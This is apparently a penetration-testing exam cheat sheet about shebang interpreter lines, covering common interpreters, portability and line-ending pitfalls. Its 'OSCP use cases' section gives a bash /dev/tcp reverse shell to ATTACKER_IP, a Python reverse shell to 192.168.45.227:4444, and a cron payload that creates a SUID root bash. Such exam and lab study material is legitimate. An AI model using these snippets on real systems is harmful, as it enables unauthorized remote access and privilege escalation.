Shebangs — #! Interpreter Lines
Ctrl+F:
#!/bin/bash·#!/usr/bin/env· python3 · cron script · chmod +x
The shebang (hash-bang) is the first line of an executable script. The kernel reads #! + path and runs that interpreter on the file.
#!/bin/bash
echo "Hello"chmod +x script.sh
./script.sh📌 Common shebangs (copy/paste)
Shell
| Shebang | Interpreter | When to use |
|---|---|---|
#!/bin/bash | Bash | Default on Kali — full bash features, arrays, [[ ]] |
#!/bin/sh | POSIX shell (often dash on Debian) | Minimal — cron, old boxes, SUID scripts expecting /bin/sh |
#!/usr/bin/bash | Bash (explicit path) | Same as above — use when /bin/bash is symlink |
#!/usr/bin/env bash | Bash via $PATH | Portable — finds bash wherever it lives |
#!/usr/bin/env sh | sh via $PATH | Portable POSIX shell |
#!/bin/bash
#!/bin/sh
#!/usr/bin/env bash
#!/usr/bin/env shPython
| Shebang | Interpreter | When to use |
|---|---|---|
#!/bin/python3 | Python 3 | Kali default — reverse shells, privesc one-liners saved as scripts |
#!/bin/python | Python 2 (legacy) | Old targets — may be python2.7 only |
#!/usr/bin/python3 | Python 3 (explicit) | Same |
#!/usr/bin/env python3 | Python 3 via PATH | Best practice — works across distros |
#!/usr/bin/env python | python → py2 or py3 | Ambiguous — prefer python3 |
#!/bin/python3
#!/bin/python
#!/usr/bin/env python3
#!/usr/bin/env pythonOther interpreters (OSCP / CTF)
| Shebang | Use |
|---|---|
#!/usr/bin/perl | Perl scripts, GTFOBins |
#!/usr/bin/env perl | Portable Perl |
#!/usr/bin/ruby | Ruby |
#!/usr/bin/env ruby | Portable Ruby |
#!/usr/bin/php | PHP CLI scripts |
#!/usr/bin/env php | Portable PHP |
#!/usr/bin/awk -f | AWK script file |
#!/bin/node | Node.js (rare on exam boxes) |
📌 #!/usr/bin/env vs hardcoded path
| Style | Example | Pros | Cons |
|---|---|---|---|
| Hardcoded | #!/bin/bash | Fast, explicit | Breaks if binary not at that path |
| env | #!/usr/bin/env python3 | Finds interpreter in $PATH | Slightly slower; needs env |
Prefer on Kali scripts you write:
#!/usr/bin/env bash
#!/usr/bin/env python3On target (cron/SUID) — match what the box actually has:
which bash python3 sh
ls -la /bin/bash /usr/bin/python3
head -1 /etc/cron.daily/somejob📌 OSCP use cases
Reverse shell script (upload + execute)
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1#!/usr/bin/env python3
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.45.227",4444))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])Writable cron / scheduled task
If cron runs a script you can edit — shebang must match an interpreter you control or that runs as root:
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbashSUID binary calling a script
If a SUID program executes /path/to/script.sh, replace script and set shebang to a shell that gives you -p (privileged):
#!/bin/bash -p→ Linux SUID section
No shebang — invoke interpreter directly
Shebang not required if you call the interpreter yourself:
bash script.sh
python3 script.py
sh -c 'id'📌 Rules & gotchas
| Rule | Detail |
|---|---|
| First line only | Shebang must be line 1 — no blank lines or comments before it |
| No spaces | #! immediately followed by path (#!/bin/bash not # !/bin/bash) |
| CRLF breaks Linux | Windows \r\n → bad interpreter — use dos2unix script.sh |
chmod +x required | For ./script.sh — not needed for bash script.sh |
-p for SUID bash | #!/bin/bash -p keeps effective UID on some privesc chains |
| Wrong interpreter | python vs python3 — always which on target first |
# Fix Windows line endings
dos2unix script.sh
sed -i 's/\r$//' script.sh
# Make executable
chmod +x script.sh📌 Find interpreters on target
which bash sh python python3 perl ruby php
ls -la /bin/bash /bin/sh /usr/bin/python3
cat /etc/shells
echo $SHELL📌 Quick cheat sheet
#!/bin/bash
#!/bin/sh
#!/usr/bin/env bash
#!/usr/bin/env sh
#!/bin/python3
#!/bin/python
#!/usr/bin/env python3
#!/usr/bin/perl
#!/usr/bin/env perl
chmod +x script.sh && ./script.sh
bash script.sh # shebang optional